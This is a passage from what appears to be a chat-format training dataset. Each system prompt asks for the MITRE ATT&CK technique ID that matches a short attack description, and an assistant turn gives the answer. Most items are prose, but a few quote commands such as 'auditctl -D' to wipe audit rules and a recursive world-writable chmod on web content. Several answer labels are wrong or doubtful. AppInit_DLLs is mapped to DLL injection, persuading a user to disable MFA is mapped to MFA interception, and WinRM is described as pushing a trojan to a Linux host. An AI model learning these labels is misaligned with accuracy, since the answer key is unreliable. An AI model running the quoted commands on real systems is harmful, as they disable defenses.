                "content": "The intrusion uses a non‑standard port 27500 for its command‑and‑control channel to bypass firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials were obtained by exploiting Group Policy Preferences that stored passwords in an insecure cpassword field within SYSVOL."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages port 3389 for legitimate RDP, but exfiltrates data over port 5000."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT removes the retention policy for AWS CloudTrail logs, causing them to be automatically deleted after 24 hours."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident response team discovers a hidden cron job that executes a reverse shell every 15 minutes on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to create a local user whose name contains a trailing space, making it invisible in standard GUI tools."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Windows Credential Editor (WCE) to dump SAM hashes and add them to a file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers disabled logging for container orchestration events in a Docker Swarm environment to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs a credential dump by parsing the Keychain database blobs directly from disk after gaining root."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was delivered through a poisoned package in the organization's internal software repository, causing automatic installation when employees updated their applications."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'control.exe /name Microsoft.Display' with a malicious parameter, leading to code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool encodes data with a proprietary LZ‑77 variant followed by a custom character substitution before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a HTTP GET flood, sending thousands of GET requests per second to exhaust the application server's resources."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a Java deobfuscator to reverse obfuscation applied to a malicious JAR file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DLL hijacking, the attacker copies a malicious library into the application’s bin folder, leveraging the default search precedence."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilized Chrome Remote Desktop to silently control compromised user devices."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a loop to send numerous tiny files, each under the size limit, to reconstruct larger data on the command server."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"auditctl -D\" to delete all existing audit rules, preventing future event collection."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script imports a self‑signed digital certificate into the Windows certificate store, enabling the execution of signed payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑crime group uses WinRM to transfer a ransomware payload and trigger execution on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the system clock to determine the host's current local time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is placed in /etc/cron.hourly that compresses sensitive documents and transfers them via SCP to an attacker‑controlled host."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email attachment disguised as an Outlook form (.oft) installs a backdoor when opened."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes stolen data in Base64 and embeds it within outbound HTTP headers to bypass content inspection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party SaaS service is used to plant malicious scripts that run when victims log into the service."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses TCP port 22 but constructs packets that mimic SSH handshake patterns while transmitting stolen information."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers found a malicious COM add-in for Word that is registered under HKCU\\Software\\Microsoft\\Office\\Word\\Addins, enabling code execution on Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits an unquoted service path to execute a malicious binary with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool calls the VaultCli API to enumerate entries in the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers pack the payload using a custom binary packer to evade static analysis and signature detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes APC-based injection to bypass defenses by inserting payloads into a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a memory corruption vulnerability to bypass integrity checks and remain concealed on the network."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By subverting the KernelCallbackTable, the adversary redirects kernel callbacks to malicious code, achieving stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day in a VPN service, the intruder achieved remote code execution across the network."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses net group /domain command to list permission groups in the Windows domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encode captured keystrokes using a simple Caesar cipher before embedding them in image metadata."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a privilege escalation via a vulnerable sudo configuration, the intruder updates the authorized_keys of the privileged user to include a key that bypasses password authentication."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script connects to Outlook Web Access and harvests all unread messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email pretends to be a package delivery notification, directing recipients to a fake tracking website where they are prompted to enter their corporate login information."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses DNS zone transfers to enumerate internal domain names and associated IPs within the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages Outlook's 'Run a script' rule action to trigger a malicious macro each time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware contacts its C2 by querying a domain that returns a different IP address on each lookup, a fast‑flux approach."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a scheduled task that executes a Python script, which compresses and sends recent screenshots to a malicious HTTP endpoint every afternoon."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Dropbox business account, the threat actor synced malicious files to all employee devices."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilized \"cmd.exe\" to run \"tasklist\" and enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker scripts the creation of a domain account with a randomly generated password."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the proxy execution function of a trusted development utility, the attacker launches a credential-stealing script."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After breaching the web server, the attacker deploys a defacement script that modifies the default error page, displaying unauthorized messages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls the Windows API function BitBlt to take a screenshot of the current user's desktop and saves it locally."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection drops a VBScript in the All Users Startup folder, ensuring it runs for every user account after logon."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a container breakout technique to move from a compromised Docker environment to the host operating system."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the registry key for the screensaver to point to a backdoored .scr file, causing code execution on idle."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet scans publicly exposed web directories and forums to compile email addresses associated with a specific industry sector."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT performed a data theft operation by accessing the victim’s private Dropbox folder using a hijacked refresh token."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs password spraying across many accounts, trying a few common passwords for each."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During maintenance, the adversary connects a hidden Arduino-based device to the server’s USB port to establish a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group is tracked utilizing a modified version of an open-source penetration testing tool to conduct internal reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining credentials, the group initiated a remote desktop session via RDP to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary distributes credential stuffing tools that automate credential verification against the target's authentication endpoint."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool stores its ransomware payload in the footer of a Microsoft Word document, using hidden Unicode characters."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group tampers with XML data streams, inserting extra data fields that trigger hidden backdoors."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the trusted SIP DLL with a malicious version, allowing it to run with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a new modular backdoor using Python scripts and packages it for distribution."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses internet‑wide search engines and public vulnerability databases to identify exploitable software versions."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Windows Remote Management (WinRM) service to pull out data files from the victim machine over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor alters the Linux initramfs to load malicious code during system startup."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through social engineering, the attacker convinces a user to disable multi-factor authentication, then uses stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WinRM, the intruder uploads a remote access trojan to a target Linux box to establish persistence after initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads /etc/shadow to harvest password hashes for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ROMMONkit, the threat actor modifies the bootloader on Cisco devices to execute a custom script during pre‑OS initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs `chmod -R a+rwX /var/www/html` to recursively grant read, write, and execute permissions to all web content."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a domain previously used for a legitimate service that has been discontinued, repurposing it for command‑and‑control."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses network reconnaissance to identify regular backup windows and system maintenance schedules."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized the AppInit_DLLs registry key to force a malicious DLL to load into every user-mode process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a botnet, the attacker performs high‑volume credential stuffing on a popular social media service, repeatedly trying the same credential pairs across many accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a fake shortcut (.lnk) on the desktop that points to a malicious script but displays the name \"Google Chrome\"."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing campaign, the payload runs a Python script using Pillow to capture the victim's screen and sends the screenshot via email."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
